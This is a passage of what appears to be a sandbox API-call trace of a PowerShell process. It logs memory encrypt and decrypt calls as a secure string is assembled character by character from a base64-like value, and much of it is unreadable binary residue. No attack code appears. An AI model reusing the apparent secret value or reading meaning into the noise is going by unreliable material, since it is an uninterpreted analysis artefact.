0x0 [0233.004] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcsr32\揞\\맛䑠∖) returned 0x30 [0233.005] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.005] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓ⳛēꇑ钧宀뒘僾⋛) returned 0x30 [0233.005] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓ⳛēꇑ钧宀뒘僾⋛) returned 0x30 [0233.005] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.005] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcsr324\揞\\맛䑠∖) returned 0x30 [0233.005] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.005] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓៛鱍焝僐䩳꛷媽⊦) returned 0x30 [0233.005] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓៛鱍焝僐䩳꛷媽⊦) returned 0x30 [0233.005] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.005] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcsr3240\揞\\맛䑠∖) returned 0x30 [0233.005] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.006] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓쓛\헜쪜ߵ鷧比鼡䜍") returned 0x30 [0233.006] SysStringLen (param_1="ﺟ肍줐穁塗鎢옗닟踢占⒥垼㇀榝쒒蟀䁔\ﯞ衏荦⽒⤧Ҫ累㹺ή婣ዀ룜ꦄ豤꟞쩭缓쓛\헜쪜ߵ鷧比鼡䜍") returned 0x30 [0233.006] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.006] SysStringLen (param_1="NLjqY46NVJaWDkefPbb3zTcy9IiifjxzCRrYcsr3240=啣\맛䑠∖) returned 0x30 [0233.006] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0233.006] EtwEventActivityIdControl () returned 0x0 [0233.007] EtwEventActivityIdControl () returned 0x0 [0233.007] EtwEventActivityIdControl () returned 0x0 [0233.008] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.008] EtwEventActivityIdControl () returned 0x0 [0233.009] EtwEventActivityIdControl () returned 0x0 [0233.009] EtwEventActivityIdControl () returned 0x0 [0233.010] SysStringLen (param_1="") returned 0x8 [0233.010] SysStringLen (param_1="N") returned 0x8 [0233.010] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.010] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0233.010] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0233.010] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.011] SysStringLen (param_1="ND") returned 0x8 [0233.011] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.011] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0233.011] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0233.011] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.011] SysStringLen (param_1="NDZ") returned 0x8 [0233.011] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.011] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0233.011] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0233.011] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.012] SysStringLen (param_1="NDZl") returned 0x8 [0233.012] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.012] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0233.012] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0233.012] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.012] SysStringLen (param_1="NDZlO") returned 0x8 [0233.012] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.012] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0233.012] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0233.012] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.012] SysStringLen (param_1="NDZlOD") returned 0x8 [0233.012] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.012] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0233.012] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0233.013] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.013] SysStringLen (param_1="NDZlODR") returned 0x8 [0233.013] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.013] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0233.013] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0233.013] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.013] SysStringLen (param_1="NDZlODRm") returned 0x8 [0233.013] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0233.014] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.014] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0233.014] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0233.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0233.014] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.014] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0233.014] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0233.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0233.015] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.015] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0233.015] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0233.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0233.015] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.015] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0233.015] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0233.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0233.015] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.015] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0233.015] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0233.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0233.016] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.016] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0233.016] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0233.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0233.016] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.016] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0233.016] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0233.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0233.016] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.016] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0233.016] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.017] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.017] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.017] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.018] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0233.018] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.018] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0233.018] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.018] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0233.018] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0233.018] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.018] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0233.018] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.018] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0233.018] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0233.018] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.018] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0233.018] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0233.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0233.019] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.019] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0233.019] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0233.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0233.019] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.019] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0233.019] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0233.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0233.019] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.019] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0233.019] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0233.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0233.020] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.020] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0233.020] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0233.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0233.020] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.020] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0233.020] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0233.021] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.021] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0233.021] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0233.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0233.021] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.021] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0233.021] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0233.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0233.022] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.022] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0233.022] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0233.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0233.022] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.022] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0233.022] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0233.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0233.022] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.023] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0233.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0233.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0233.023] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.023] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0233.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0233.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0233.023] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.023] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0233.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0233.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0233.024] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.024] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0233.024] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0233.024] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.025] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0233.025] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0233.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0233.025] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.025] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0233.025] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0233.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0233.025] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.025] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0233.025] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0233.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0233.025] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.080] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0233.080] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: 